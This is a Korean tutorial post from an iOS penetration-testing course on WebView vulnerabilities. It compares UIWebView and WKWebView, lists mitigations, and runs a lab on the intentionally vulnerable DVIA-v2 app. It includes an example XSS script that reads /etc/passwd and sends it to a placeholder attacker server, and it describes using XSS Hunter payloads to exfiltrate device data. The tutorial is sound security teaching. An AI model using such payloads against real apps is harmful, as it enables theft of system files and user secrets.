아이폰·아이패드·iOS 취약점진단/모의해킹 무료 강의
가. 웹뷰(WebView) 취약점이란?
1. 웹뷰(WebView) 정의
- 웹뷰는 애플리케이션 내에서 웹 콘텐츠를 표시하는 GUI 구성 요소로, 앱에 내장된 웹 브라우저라고 생각하면 된다.
- 최근에는 네이티브 방식으로 개발하지 않고, 웹뷰를 이용한 하이브리드 방식으로 앱을 많이 개발하고 있다.
※ 앱 개발 방식에 따른 차이점과 진단방법이 궁금하다면 아래의 링크 클릭.
모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리
2. 웹뷰 종류 및 차이점
- iOS 웹뷰는 UIWebView, WKWebView 2개가 존재하며 iOS 12.0부터는 WKWebView만 사용이 가능하다.
- WKWebView는 UIWebView가 가진 많은 보안 문제를 보완하였다.("WK"는 WebKit브라우저에서 유래되었음)
- 각 웹뷰의 보안관점에서의 차이점은 아래와 같다.
UIWebView | WKWebView |
JavaScript를 비활성화할 수 있는 기능이 없음 | JavaScript를 비활성화할 수 있음 |
HTTPS 프로토콜을 사용하여 로드하였는지 확인할 수 없음. | HTTPS 프로토콜을 사용하여 모든 항목이 로드되었는지 확인할 수 있음. |
*Out-of-Process 렌더링을 구현하지 않음. 공격자가 UIWebView에서 메모리 손상 취약점을 발견하면 애플리케이션 컨텍스트에서 이를 악용할 수 있음. | Out-of-Process 렌더링을 수행함. 공격자가 WKWebView에서 메모리 손상 취약점을 발견하더라도 애플리케이션의 프로세스는 여전히 격리됨. |
baseURL 매개변수가 빈 문자열(NULL)로 설정되면 공격자는 앱의 파일 시스템(file:// 스키마) 및 외부 웹사이트에 액세스할 수 있음. | 로컬 파일 시스템에 대한 *AJAX 요청을 허용하지 않음. |
file:// 스키마를 통한 파일 액세스 기능이 기본적으로 활성화 되어져 있어 수동으로 해당 기능을 비활성화 해주어야 한다. 공격자는 이를 악용하여 XSS 공격을 통해 서버내의 파일을 탈취할 수 있음. | file:// 스키마는 활성화되어 있지만 기본적으로 파일에 액세스할 수는 없음. |
*Out-of-Process Rendering(OOPR) : 웹 브라우징 및 웹 페이지 렌더링을 처리하는 프로세스가 웹 브라우저의 주요 프로세스와 별도로 실행되는 기술.
*AJAX(Asynchronous JavaScript and XML) : 웹 애플리케이션에서 *비동기적으로 서버와 데이터를 교환하기 위한 기술이나 기법을 가리킵니다.
*비동기 방식 : 웹페이지를 리로드 하지 않고도 동적으로 데이터를 로드하거나 서버와 통신할 수 있게 해주는 방식을 말함.
3. 웹뷰 취약점
- 사용자가 입력한 값에 대해 유효성 검사가 제대로 이루어지지 않을 경우, 클라이언트 측에서 인젝션이 발생할 수 있다.
- 인젝션으로 인해 디바이스에서 기본 기능 호출 및 악의적인 액티비티 수행이 가능할 수 있다.
예시) NULL baseURL로 설정된 웹뷰에서 아래와 같은 XSS공격을 수행할 경우 시스템 계정정보가 해커에게 전송된다.
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///etc/passwd",false);
request.send();
request.open("POST","http://HackerServer.net",false);
request.send(request.responseText);
</script>
나. 대응방법
- UIWebView을 사용한다면 WKWebView으로 재 빌드 해야함.
- 사용자가 입력하는 값에 대한 유효성 검사 필요.
- 입력 값을 DB에 저장할 때, DB에서 값을 불러올 때 아래와 같은 특수문자를 변환하여 인젝션 공격을 예방한다.
특수문자 | 변환 |
< | < |
> | > |
& | & |
" | " |
' | ' |
- 웹뷰에서의 자바스크립트 실행을 원치 않는다면 아래의 코드를 사용하여 비활성화시킨다.
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
self.configuration?.preferences = webPreferences
다. DVIA-v2 앱을 통한 실습
1. 분석 대상 앱 실행
- 실습을 위해 DVIA-v2 앱을 실행한다.
※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.
2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치
- 메인메뉴 좌측 상단 메뉴 클릭 → 'Webview Issues' 클릭 → 'START CHALLENGE' 클릭
2. XSS 공격구문 삽입
- 아래에 사이트에 접속한뒤 구글 아이디로 로그인 한다.
https://xsshunter.trufflesecurity.com/
- "XSS PAYLOADS" 클릭 → "Copy Payload" 클릭 → 클립보드에 XSS 공격문구가 복사됨
※ img, iframe 태그 등 다양한 XSS 문구들이 준비되어져 있으니 환경에 맞게 사용하면 된다.
- 위에서 복사한 코드를 DVIA-v2에 삽입 → 실행 → XSS HUNTER에서 'XSS PAYLOAD FIRES' 클릭
- *디바이스 정보가 해커의 사이트로 전송된 것을 확인할 수 있다.
*디바이스 정보 : URL, IP Address, Referer, User-Agent, Cookies, Title, Origin, Secrets, CORS, Leaked Source Code, Browser Time, Other
라. 참고 URL
- 크로스 사이트 스크립팅(XSS) 공격 방지 가이드
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- 웹뷰 종류별 취약점 설명 1
https://www.securing.pl/en/secure-implementation-of-webview-in-ios-applications/
- 웹뷰 종류별 취약점 설명 2
https://www.youtube.com/watch?v=7Ozn9t7tp88
- 웹뷰 취약점으로 인한 시스템 정보 노출
https://medium.com/ios-os-x-development/security-flaw-with-uiwebview-95bbd8508e3c
- NULL baseURL 공격 설명
https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/
'Mobile App 취약점 진단 · 모의해킹 > iOS App 취약점 진단 · 모의해킹' 카테고리의 다른 글
아이폰 탈옥 방법 - Odysseyra1n(오디세이레인) (0) | 2023.11.22 |
---|---|
모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리 (0) | 2023.11.04 |
스마트폰 와이어샤크 네트워크 패킷 캡처 방법 정리 (0) | 2023.11.03 |
[iOS 취약점 진단] 15강 - 로컬 인증(Touch ID/Face ID) 우회 (0) | 2023.10.30 |
[iOS 취약점 진단] 14강 - IPC 취약점(URL Schemes) (0) | 2023.10.27 |